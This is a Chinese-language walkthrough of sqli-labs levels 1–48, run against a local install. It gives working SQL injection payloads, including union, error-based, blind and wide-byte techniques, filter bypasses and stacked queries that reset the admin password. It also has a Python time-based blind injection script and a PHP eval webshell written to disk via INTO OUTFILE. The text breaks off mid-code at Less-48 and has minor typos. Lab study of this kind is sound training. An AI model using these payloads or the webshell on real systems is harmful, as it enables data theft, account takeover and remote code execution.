sqli-labs 是一个专业的 SQL 注入练习平台,该平台包含常见的注入类型,环境共有65个 SOL 注入漏洞,旨在帮助Web安全学习者对SQL注入漏洞有一个全面的了解。
项目地址为:GitHub - Audi-1/sqli-labs: SQLI labs to test error based, Blind boolean based, Time based.
下面选取几个具有代表性的关卡,演示几种 SQL 注入漏洞利用方法。
目录
sqli-labs 是一个专业的 SQL 注入练习平台,该平台包含常见的注入类型,环境共有65个 SOL 注入漏洞,旨在帮助Web安全学习者对SQL注入漏洞有一个全面的了解。
Less-1-4
Less-1
Less-2(同第一关一样)编辑
Less-3
Less-4
Less-5-7
Less-5
Less-6
编辑
Less-7(基于文件写入注入)
Less8-14
Less-8(布尔盲注)
编辑
Less-9(时间盲注)
Less-10
Less-11
Less-12
Less-13(报错注入)
Less-14
Less-15-17
Less-15
Less-16
Less-17
Less18-22
Less18
Less-19
编辑
Less-21
Less-22
Less-23-25
Less23
Less-24(二次注入)
二次注入原理
Less-25
Less-26-28
Less-26
编辑
Less-27
Less-28
Less-29-33
Less-29
Less-32(宽字节注入)
Less-33
Less-34-37
Less-34
Less-35
Less-36
Less-37
Less-38-41
Less-38(堆叠注入)
Less-39
Less-40
Less-41
Less-42-47
Less-42
Less-43
Less-44
Less-45
Less-46(order by注入)
Less-47
Less48-53
Less-48
Less-49
Less-50
Less-51
Less-52
Less-53
Less54-57
Less-54
Less-55
Less-56
Less-57
Less-58-61
Less-58
Less-59
Less-60
Less-61
Less-62-65
Less-62
Less-63
Less65
Less-1-4
Less-1
第一关是字符型SQL注入,第2~4关与第一关类似,区别是参数有一些变化,但是方法相同
进入第一关:
提示我们需要给他输入一个ID的传参我们输入?id=1
按照正常的注入思维首先判断它有没有把我们找个?id=1,拼接到SQL语句中并且当作SQL代码进行执行,这个时候判断注入点输入?id=1 and 1=1和?id=1 and 1=2我们发现没有变化,
我们尝试一下闭合?id=1' and 1=1-- q(-- 是对他的一个注释q无所谓asd都可以,只是为了输入字符串防止后面的空格被忽略)发现?id=1' and 1=2-- q页面异常(可能存在注入点)
查找他当前的字段数?id=1 'order by 1-- q 依次输入到order by 4出现错误
那就说明这个地方存在于三个字段,后面判断显存位使用联合查询union select 1,2,3(判断出三个就写三个,123没有任何含义11,22,33都可以)
发现没有任何变化,是因为前面的查询结果显示在前面,从而没有显示联合语句的查询结果我们把1更改为10或者任何数字让他不产生结果从而显示后面的结果。
找个显示的2,3就是我们显示位的意思我们更换成database(),显示其数据库名
判断表名?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' -- q
查询emails数据?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 1,1 -- q(改变limit 2,1 进行查询)
判断列名:?id=-1' union select 1,column_name,3 from information_schema.columns where table_schema='security'%20 -- q
Less-2(同第一关一样)
Less-3
第三关我们需要看一下源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
查看代码我们发现使用到了GET传参拼接到了
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
我们发现写的语句会被写在()里面,就不会被当作sql语句被执行。
解决方法:我们同样使用一个’)进行闭合:?id=1') and 1=1 -- Q
本关卡进行')闭合后后面的sql语句基本不变
判断字段数?id=1') order by 4 -- q
获取数据库名?id=-1') union select 1,database(),3 -- q
获取表名?id=-1') union select 1,table_name,3 from information_schema.tables where table_schema='security' -- q判断列名?id=-1') union select 1,column_name,3 from information_schema.columns where table_schema='security'%20 and table_name='emails' -- q
group_concat 可以将所有的tables 提取出来
?id=-1')union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- q
获取所有列名
?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' -- q
获取密码?id=-1')union select 1,2,group_concat(password) from security.users -- q
Less-4
查看源代码
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
发现他只是(id)$id = '"' . $id . '"';上面还被添加了双引号双引号被拼接到id从而我们需要添加") 来进行闭合
其余的语句和第一关一样
例如:?id=-1") union select 1,group_concat(table_name),3%20 from information_schema.tables where table_schema='security'-- q
Less-5-7
updatexml使用方法
Less-5
按照之前的做法查看回显是否正常
?id=1 and 1=2/?id=1 and 1=1/?id=1 回显均正常
判断闭合,发现是单引号闭合
查看源码
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
判断字段数?id=1' order by 4 -- q
接下来就不一样的,按照以上几关就要开始查询显错位,我们试试,发现什么!居然没有!!!
我们使用一个盲注的方法获取数据库名称:
?id=1 'and updatexml(1,concat(0x7e,( database()),0x7e),1) -- q
0x7e就是数据库中编码~
获取表名:?id=1 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- q(为了方便就使用group_concat一起显示)
查询列名:?id=1 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x7e),1) -- q
Less-6
来到第六关我们查看源码,发现只是闭合的问题
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
查询数据库名?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1) -- q
查询表
?id=1 "and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) -- q
查询列
?id=1 "and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x7e),1) -- q
Less-7(基于文件写入注入)
查看源码,'))可以进行闭合
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
判断字段数?id=1')) order by 4 -- qwq(到4就无了)
第七关我们使用outfile进行注入首先我们要对小皮面板的mysql.ini进行配置
新增当前语句secure_file_priv=""
完成后我们进行outfile注入,
http://127.0.0.1/sqli-labs-master/Less-7/?id=1%27))union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell.php"--+
点击执行后网页会报错,没有关系我们看到websehll已经上传到了服务器中
我们使用蚁剑进行连接
至此第七关完结!
Less8-14
Less-8(布尔盲注)
还是第一步查看注入点进行尝试:发现单引号可以进行闭合(存在注入点)
判断字段数:?id=1 'order by 4 -- +(1,2,3均正常4异常)
尝试跟之前一样显示报错位:?id=1 'union select 1,2,3 -- +,失败捏打咩!
进行盲注,下面是几个关于盲注的函数:
首先猜数据库的长度?id=1 'and(length(database()))=8 --+
数据库名称长度为八位
利于ASCII编码判断数据库名?id=1 'and (ascii(substr(database(),1,1)))=115 --+
等于115回显正确,我们查看ascii编码发现是字母s不断地进行猜数字判断出数据库名为sucerity
继续尝试表名?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+
继续字段名?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 --+
我们也可以利用脚本进行尝试
import requests
import time
"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):
"""
使用二分法查询 aaaaaaaaaaaaaaaaaaaa
"""
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(),%d,1))>%d, sleep(1), 0)-- " % (i, mid)
params = {"id":payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli-labs-master/Less-8/index.php'
inject_database(url)
Less-9(时间盲注)
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
查看源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
这一关查看源码发现我们不管输入的什么都会回显一个页面,本关我们使用一个时间盲注的方法
查询数据库字段:?id=1' and if(length(database())=8,sleep(5),1) --+
如果字段猜测正确为八位,设置时间延迟为5秒查看网络延迟发现延迟了五秒左右,证明猜对了
如果猜测的字段数错误的话,回显就正常。
判断数据库名http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1) --+
第一位为s
判断数据库表名:?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1) --+
Less-10
本关与第九关差不多就是查看代码闭合变成了双引号
Less-11
一进来页面都不一样了!
查看源码
<form action="" name="form1" method="post">
<div style="margin-top:15px; height:30px;">Username :
<input type="text" name="uname" value=""/>
</div>
<div> Password :
<input type="text" name="passwd" value=""/>
</div></br>
<div style=" margin-top:9px;margin-left:90px;">
<input type="submit" name="submit" value="Submit" />
</div>
</form>
本关卡由之前的GET传参改成了POST传参
我们使用尝试万能密码
判断字段数'or 1=1 ordeer by 2 -- +回显正常,'or 1=1 ordeer by 3 -- +异常
判断显错位'union select ,1,2 -- +
判断数据库名:'union select 1,database() -- +
判断所有表名?id=10' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' -- +
判断所有列名?id=10' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails' -- +
判断数据'union select 1,id from emails -- +
Less-12
十二关和十一关一模一样就是闭合变成了")双引号加)
Less-13(报错注入)
查看源码,闭合只需要加上')
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
判断数据库名')and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +
查询所有表')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)-- +
查询所有列')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x7e),1)-- +
判断数据') and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- +
Less-14
与十三关一样,查看源码又是闭合不一样吧')换成"就行了
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);
// connectivity
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
Less-15-17
Less-15
使用盲注的方法本关卡,使用报错注入不能输出报错
猜测数据库名长度'or (length(database())=8)-- +
利用ASCII猜数据库名称,回显的页面成功就是对的。'or (ascii(substr(database(),1,1)))=115-- +
表名(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+
Less-16
和十五关只是闭合不一样
Less-17
进入17关我们发现提示一个密码重置
上面是会进行一个过滤的,没有注入点,输入正确的语句也会被报错回显
判断是否存在注入:
判断数据库名'or updatexml(1,concat(0x7e,database(),0x7e),1)-- +
判断所有表名:updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)-- +
判断所有列名'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='emails'),0x7e),1)-- +
Less18-22
Less18
一进来发现他显示了我们的IP地址,只要是记录信息,很大概率是通过数据据库进行记录,那在记录的地方就会有可能存在注入点,这个地方就是请求头。
我们查看源码
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";发现最后拼接到了sql语句上
它显示了User-Agent,我们大胆猜测注入点在这里。
我们在截取的数据包中的User-Agent上加上一个'。返回页面如下:
'and ipdatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- +
'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1),1,1)-- +
我们判断数据库名
Less-19
和第十八关一样只是注入点不一样,查看源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'Referer:'.$uname."\n");
fclose($fp);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
Less-20(cookie存在注入)
判断数据库名uname=admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- +
判断所有表名uname=admin 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)-- +
Less-21
21关登录之后我们发现一样的
我们抓包看看有什么区别
我们发现cookie的地方被base64编码了,遇事不决查看源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
setcookie('uname', base64_encode($row1['username']), time()+3600);
那我们只需要把写出的注入语句进行base编码然后在修改他的cookie就可以了,试一下
判断数据库名admin 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
百度一个这样的base64在线编码器'
判断出数据库名security
判断所有表名等其他都是一样的。
Less-22
查看源码
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
echo "<br></font>";
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
还是闭合问题
Less-23-25
Less23
来到23关有点熟悉,依然让我们传递一个id的参数,试试?id=1' and 1=1 -- qqq
出现了一个什么玩意,提示到aaa无法识别,好好好查看源码!
查看源码
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
可以看到我们传递了一个id通过GET传参的方式,后面有个$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
解释一下,这个函数就是,我们输入的#被替换成了空,那咋办肯定有方法
查看源码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
我们这样写是不是就可以完成闭合?id=1' and 1=2 or '1'='1
使用盲注,报错,联合都可以尝试
Less-24(二次注入)
二次注入就是我们构造一个恶意语句存储到数据库中,然后在对数据库中的这条语句进行注入
二次注入原理
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
又是POST传参
查看源码
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
这里有一个函数mysql_real_escape_string,这是一个防止sql注入的函数查一下
查看源码发现只有注册用户名没有使用到该函数,我们注册并登录
这里我们可以直接修改密码,修改的就是我们admin账号的密码,可以直接登录admin
Less-25
老方法尝试,发现本来'and 1=1'提示报错成了'1=1 'or 1=1也是'1=1也不行
分析源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
preg_replace又是这个替换函数把or和and(i就是正则里面不区分大小写)替换为空
第二十五关,这里首先看上去,他提示了一个or和and,发现这里有个正则,把我们id传参里的and和or过滤掉了,那既然他会过滤or和and那我们还是可以去尝试||或者&&这俩等价于or 和and
&&不能在URL栏中直接使用,需要url转义
ok没什么啥问题那就和之前没什么区别了报错注入
判断数据库名
Less-26-28
Less-26
什么都没了,全被过滤掉了,哭死。我直接就是看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
我们对于
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
的应对方法就是使用 || 和 &&(url转译)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
'1'='1
$id= preg_replace('/[\s]/',"", $id);
\s是包含所有空白符及其换行,可以使用%a0替换空格%0a替换换行
$id= preg_replace('/[\/\\\\]/',"", $id);
判断库名?id=1'||updatexml(1,concat(0x7e,(database()),0x7e),1)||'1'='1
判断出所有表名?id=1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)='security'),0x7e),1)||'1'='1
Less-27
直接查看源码,我们发现相比于第26关来说又又又增加了一些过滤而已
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
return $id;
}
判断数据库名?id=1'and%0Aupdatexml(1,concat(0x7e,(database()),0x7e),1)or'1'='1
判断出所有表名?id=1'and%0Aupdatexml(1,concat(0x7e,(seleCt(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1)or'1'='1
判断出所有列名?id=1'and%0Aupdatexml(1,concat(0x7e,(seleCt(group_concat(column_name))from(information_schema.columns)where(table_schema='security'%0Aand%0Atable_name='emails')),0x7e),1)or'1'='1
Less-28
直接看源码累了,毁灭吧
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
发现他直接ban掉了union加select的组合我们还可以使用盲注
查看闭合
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
判断数据库的字段长度?id=1')and(length(database()))=8%0Aand('1')=('1
猜解数据库的名称?id=1')and(ascii(substr(database(),1,1)))=115%0Aand('1')=('1
页面回显正常说明数据库名称第一位是s
Less-29-33
Less-29
用单引号和最初讲的联合查询就能简单的做出来,实际这里出题人是希望我们去搭两个环境一个是Tomcat(jsp),个是apache(php),这边简单跟你们说一下这题的大致思路,首先我们的传参先会经过jsp过滤然后再传给php,然后将经过php服务器处理完之后又返回给jsp服务器,从而显示到客户端,这里我们可以利用参数污染的方式给他两个传参,他会将第一个传参给jsp处理,而第二个传参交给了php处理,从而绕过了
涉及到了参数污染在使用联合查询的时候,我们来传递两个参数,使用第二个参数来进行注入
判断数据库名?id=1&id=-1' union select 1,database(),3 --+
判断所有表名?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
判断所有的列名?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'and table_name='emails'--+
剩下Less-30-31都是闭合问题都一样我们直接看Less-32
Less-32(宽字节注入)
老样子,发现多了一个反斜杠导致我们逃逸失败,后面的被当成了字符串执行而不是代码执行
那我多写几个试试,淦了行吧
注入输入单引号尝试闭合的时候发现被加上了/转义掉了,于是我们去查看源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
发现他下面确实写了一个简单的过滤,既然这里不能直接闭合我们一般思路就是想办法去掉这个\不让他生效,看到他源码下设置了一下编码,突然想到了宽字节绕过,他的原理很简单,就是利用了数据库和页面编码不同的问题,PHP发送请求到mysql时经过一次gbk编码,因为GBK是双字节编码,所以我们提交的%df这个字符和转译的反斜杠组成了新的汉字,然后数据库处理的时候是根据GBK去处理的,然后单引号就逃逸了出来
?id=1%20%df%27%20and%201=1%20--+
猜测字段?id=1%df' order by 4--+
判断显错位数据库名?id=-1%df%27%20union%20select%201,database(),3--+
判断所有表名?id=-1%df%27%20union%20select%20%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
判断所有列名?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x656D61696C73--+
Less-33
和Less-32一样的只是源码不一样
一个是手动写的过滤一个用了函数
Less-34-37
Less-34
眼熟的反斜杠,于是我们再次利用之前讲到的%df,发现并没有效果,这里其实是因为%df是url编码,在这里我们可以通过汉字的方式去绕,和%df类似,一些汉字的编码为一个三个字节的编码,当代替%df时,可以将三个字节拆开来看,前两个为一个组,后面那个和相编码为一个两字节绕过,从而单引号逃逸
一看又是post传参
尝试万能密码
试试%df(POST传参不存在URL编码)
抓包
修改61(a)为df放行
汉'or 1=1 -- +也可以因为他是三个字节剩下那个可以构成另外一个
用汉字或者bs进行修改都是可以的
Less-35
按照前面的思路首先尝试闭合,然后发现被注释掉了,然后我们可以尝试用前面的%df以及汉字去绕过,但是发现都没有用,正当我们苦恼之际发现这个标题why care for addslashes(),问我们为什么要去关系这个addslashes()难道这里就没有闭合不用管这个吗,我们可以来试一下
这一关就没有闭合作者为了卡我们的惯性思维
Less-36
查看源码
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
遇到这个函数查一下
判断是否存在注入,被转意了,加个%df试试
,被转意了,加个%df试试
Less-37
查看源码
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
判断数据库名汉'union select 1,database()-- qwe
Less-38-41
Less-38(堆叠注入)
查看源码
if (mysqli_multi_query($con1, $sql))
{
/* store first result set */
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
echo '<font size = "5" color= "#00FF00">';
printf("Your Username is : %s", $row[1]);
echo "<br>";
printf("Your Password is : %s", $row[2]);
echo "<br>";
echo "</font>";
}
第三十八题的做法你可以用最初始的显错去做,但是这题的关键点不是如何查询出里面的数据,而是这个源码中的mysqlimulti query()函数,它可以执行一个或多个针对数据库的查询。多个查询用分号进行分隔。而这个函数就是产生堆叠注入的原因。
?id=1';insert into users(id,username,password) values('100','100','100')-- +
我们插入一条这样的信息首先查看原来的
再次查看
Less-39
只是闭合问题?id=1;insert into users(id,username,password) values('101','101','101')-- +
插一条101看看
Less-40
一样的?id=1');insert into users(id,username,password) values('102','102','102')-- +
Less-41
一样的闭合问题
Less-42-47
Less-42
记得当时第一次遇到这种是通过注册一个新的账户然后对其他账户进行登录从而造成注入
这次点开注册,我们无法注册新的账户
那么只剩下页面上这俩了在用户和密码上尝试万能密码进行尝试'or 1=1 -- +,发现在密码上登录成功了。
尝试一些堆叠注入
1';update security.users set password='111111' where username="admin"#
接下来我们登录试试看
知道了注入点就可以使用报错注入
Less-43
一样的只不过是闭合问题
查看源码
$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";
')
Less-44
经过尝试本关卡闭合和42关一模一样
尝试一下1';update security.users set password='222222' where username="admin"#
但是这一关要获取其他数据信息不能使用报错注入,不会显示报错
这个时候就想起来了盲注
Less-45
只是换了闭合方式多了一个)进行闭合
Less-46(order by注入)
这个46关我提前写过直接移步至
sql-labs第46关 order by盲注-CSDN博客
Less-47
还是闭合问题
Less48-53
Less-48
查看源码
<?php
include("../sql-connections/sql-connect.php");
$id=$_GET['sort'];
if(isset($id))
{
